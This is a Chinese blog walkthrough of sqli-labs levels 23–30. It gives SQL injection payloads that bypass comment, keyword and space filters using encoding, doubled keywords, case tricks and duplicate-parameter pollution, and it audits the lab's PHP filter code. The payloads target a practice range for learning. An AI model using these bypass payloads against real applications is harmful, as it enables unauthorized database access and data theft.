Sqli靶场23-->30

不知不觉鸽了几天了,没办法去旅游摸鱼是这样的了,抓紧时间来小更一下

                                

23.过滤注释符号

先手工注入一下,就能发现两个单引号不报错,但是一旦上到注释符号的话就会报错,可以猜测出是对注释符号进行了过滤,我们也去看一下源码!!

$reg = "/#/";
$reg1 = "/--/";
$replace = "";
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);

不难发现,源代码的意思就是将 # -- 这两个注释符号替换成空,那很简单我们不注释就好了

不多说下一关!!

24.二次注入

这个关卡在前面讲过,就不多赘述,有兴趣的话可以翻一下我前面的文章

25.小小过滤and,编码秒了

这一关从它的提示都能发现他过滤了and和or,但是没有过滤编码(我猜的

于是就开始poc:

1'+%26%26+1=1--+

成功能够看见返回(Hint:在sql中and和&&的作用都是一样的)

26.过滤我and?还过滤我空格?但是无伤大雅

这一关一开始我是没有看提示的,直接手工注入,字符型,没跑

然后注释测试发现又给我过滤了,于是就写这样的poc

id=1'+and+1='1

不出意外,报错。。。。。。于是就在想是不是and导致的报错,于是poc就有

id=1'and'

回显正常,说明是and被过滤,尝试编码绕过

 没有回显(报错),说明是and被过滤, 而且%26%26被成功解析

于是继续我们的poc

id=1'+%26%26+1='1

 发现能成功回显,然后其实完全就到此为止了,但是,!@@@@!!!!

看一眼提示?其实就能发现它对空格也进行了过滤,但是没有什么关系,因为就算sql语句堆在一起,只要不触碰到关键词,都是会执行的,但是如果你想完美 加个/**/就好

27.and?三次绕过&&大小写

这题其实完全可以直接用and秒了,但是既然他都已经在暗示我过滤了select 和union了 那我怎么好意思不绕一下waf 开始poc(因为注释被过滤,所以select的最后一个要是'包裹)

321331231'+union+select+1,2,'1 

看看被过滤成了啥?好家伙,空格,union select 你是吞的一个不剩😓😓

那我们分别试一下双写一下试试?发现union和tab(%09)是出来了,但是我select呢??

321331231'+uniunionon%09seselectlect%091,2,'1 

于是试一下大小写?,成功绕过WAF

321331231'+uniunionon%09SelEct%091,user(),'1 

 这样就做出来了,但是还是得去看一下源代码,(为了日后的代码审计)

function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id);		//strip out /*
$id= preg_replace('/[--]/',"", $id);		//Strip out --.
$id= preg_replace('/[#]/',"", $id);			//Strip out #.
$id= preg_replace('/[ +]/',"", $id);	    //Strip out spaces.
$id= preg_replace('/select/m',"", $id);	    //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id);	    //Strip out spaces.
$id= preg_replace('/union/s',"", $id);	    //Strip out union
$id= preg_replace('/select/s',"", $id);	    //Strip out select
$id= preg_replace('/UNION/s',"", $id);	    //Strip out UNION
$id= preg_replace('/SELECT/s',"", $id);	    //Strip out SELECT
$id= preg_replace('/Union/s',"", $id);	    //Strip out Union
$id= preg_replace('/Select/s',"", $id);	    //Strip out select
return $id;
}
  • 可以看到首先它是过滤了/ 和*
  • 然后将 -- #这些过滤掉
  • 接着就是空格了
  • 接下来就是select 了可以看见它前前后后一共过滤了两次,所以这就是为什么我们对select双写没有用的原因
  • 然后就是对union进行替换,而且是只替换一次,这里就是为什么可以进行双写绕过的原因

那么审计完代码了,其实我们是不是可以对select 进行一次三写,?这样也是可以的

321331231'+uniunionon%09seselecselecttlect%091,user(),'1

28.这不看源代码写的出来??牛魔WAF

这个题呃呃呃,感觉不看源代码真的绕不过这这个waf啊

                            我belike:    

来吧,先上最简单的poc:

1'%09union%09select%091,2,'3 

 发现变成了这样,双写一下试试看?

?又不过滤了

1'%09uniounionn%09seselectlect%091,2,'3

再来? 

1'%09unionunion%09selectselect%091,2,'3

  这是什么神奇waf(长见识了,其实这种就已经不在是匹配关键字)

而是匹配一种结构!!!!!!

于是就可以发现它匹配的是 union select这样的结构,那我们替换一下就好

2321312321312'%09union%09union%09selectselect%091,user(),'3

但是呢,你会收获一个这个

可以看见语句是被构造出来了,但是没有被执行,而且这个报错也不是我们常见的类型syntax error 于是我们去翻译一下      期待参数1是资源,但是却接收到了布尔值

也就是说接收到得分参数不匹配,于是去看一下源代码。。。。

sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";

逆天!!!还有一个 () 怪不得一直不对,所以最终的poc就出来了

2321312321312')%09union%09union%09selectselect%091,user(),('3

29.明明可以绝杀,但是为什么要故意放水(bushi)

这一关,明明作者可以直接堵死注入点,但是他还是留了一条出路   来看!!!

首先看见这个hint就知道不简单,来看看他有多逆天

先是最简单的 1’这样的判断

发现就直接被过滤了,而且这题你会发现你怎么绕过都是这个结果,没办法,看源码

直到我看完源代码才知道什么是不是不可以,而是没有必要

先来看一个函数 whitelist

function whitelist($input)
{
	$match = preg_match("/^\d+$/", $input);
	if($match)
	{
		//echo "you are good";
		//return $match;
	}
	else
	{	
		header('Location: hacked.php');
		//echo "you are bad";
	}
}
  • 这里唯一要解释一下的,因该就只有$match = preg_match("/^\d+$/", $input); 了
  • 这个表示的是正则匹配传入的参数从开头到结尾是不是都是纯数字
  • 然后如果不是的话就跳转至 hacked.php 然后阻断注入

本来这个就已经是绝杀了的,但是慈祥的出题人还是给我们留下了退路(像极了老师捞人的样子)

函数java_implimentation()

function java_implimentation($query_string)
{

	$q_s = $query_string;
	$qs_array= explode("&",$q_s);

	foreach($qs_array as $key => $value)
	{
		$val=substr($value,0,2);
		if($val=="id")
		{
			$id_value=substr($value,3,30); 
			return $id_value;
			echo "<br>";
			break;
		}

	}

}
  • 巴拉巴拉一大堆,其实就是在将传入的参数以&符号分割开来,用数组接收
  • 并且它只检查第一个id值,并且返回id后面的参数值(就是这里在放水!!)

放水还远不止于此,继续看!!!

$qs = $_SERVER['QUERY_STRING'];
	$hint=$qs;
	$id1=java_implimentation($qs);
	$id=$_GET['id'];
	//echo $id1;
	whitelist($id1);
	
// connectivity 
	$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

其实我一直很好奇 他为什么不将$sql里面的动态插入的sql语句中的$id 换成能够通过过滤的$id1

         看的出来放水放到极致了    

所以这题的绕过方法就出来了, 写两个id

  • 第一个id为正常的数字参数,能够被正常检验,并且通过waf 然后再将后面咩有过滤的id拼接上去造成注入

于是就有最终的poc

id=1'&id=-1'+union+select+1,database(),user()--+

30.还是29关但是"

这一关还是一样,不过后面的 ' 要改成双引号 " 然后其他的都一样了 poc:

id=0&id=0"+union+select+1,user(),database()--+

 

差不多,写了七关,感觉要写到累死了,   ,后面的先鸽着,有时间再补,到时候过年的时候打算自己开一下红队,因为 我的兄弟:

我的兄弟萌,"内网,才是真正的战场,才是一个人的知识体系的最终融合体现!!!"

相关推荐

最近更新

  1. docker php8.1+nginx base 镜像 dockerfile 配置

    2024-02-06 23:38:01       94 阅读
  2. Could not load dynamic library ‘cudart64_100.dll‘

    2024-02-06 23:38:01       100 阅读
  3. 在Django里面运行非项目文件

    2024-02-06 23:38:01       82 阅读
  4. Python语言-面向对象

    2024-02-06 23:38:01       91 阅读

热门阅读

  1. Vue动态组件<component>传递变量

    2024-02-06 23:38:01       54 阅读
  2. api接口是什么意思,api接口该如何防护呢?

    2024-02-06 23:38:01       56 阅读
  3. 在Unix/Linux上使用通用二进制文件安装MySQL

    2024-02-06 23:38:01       45 阅读
  4. docker 的常用命令

    2024-02-06 23:38:01       54 阅读
  5. linux环境nginx安装及使用

    2024-02-06 23:38:01       47 阅读
  6. 团队程序天梯赛练习题题解

    2024-02-06 23:38:01       37 阅读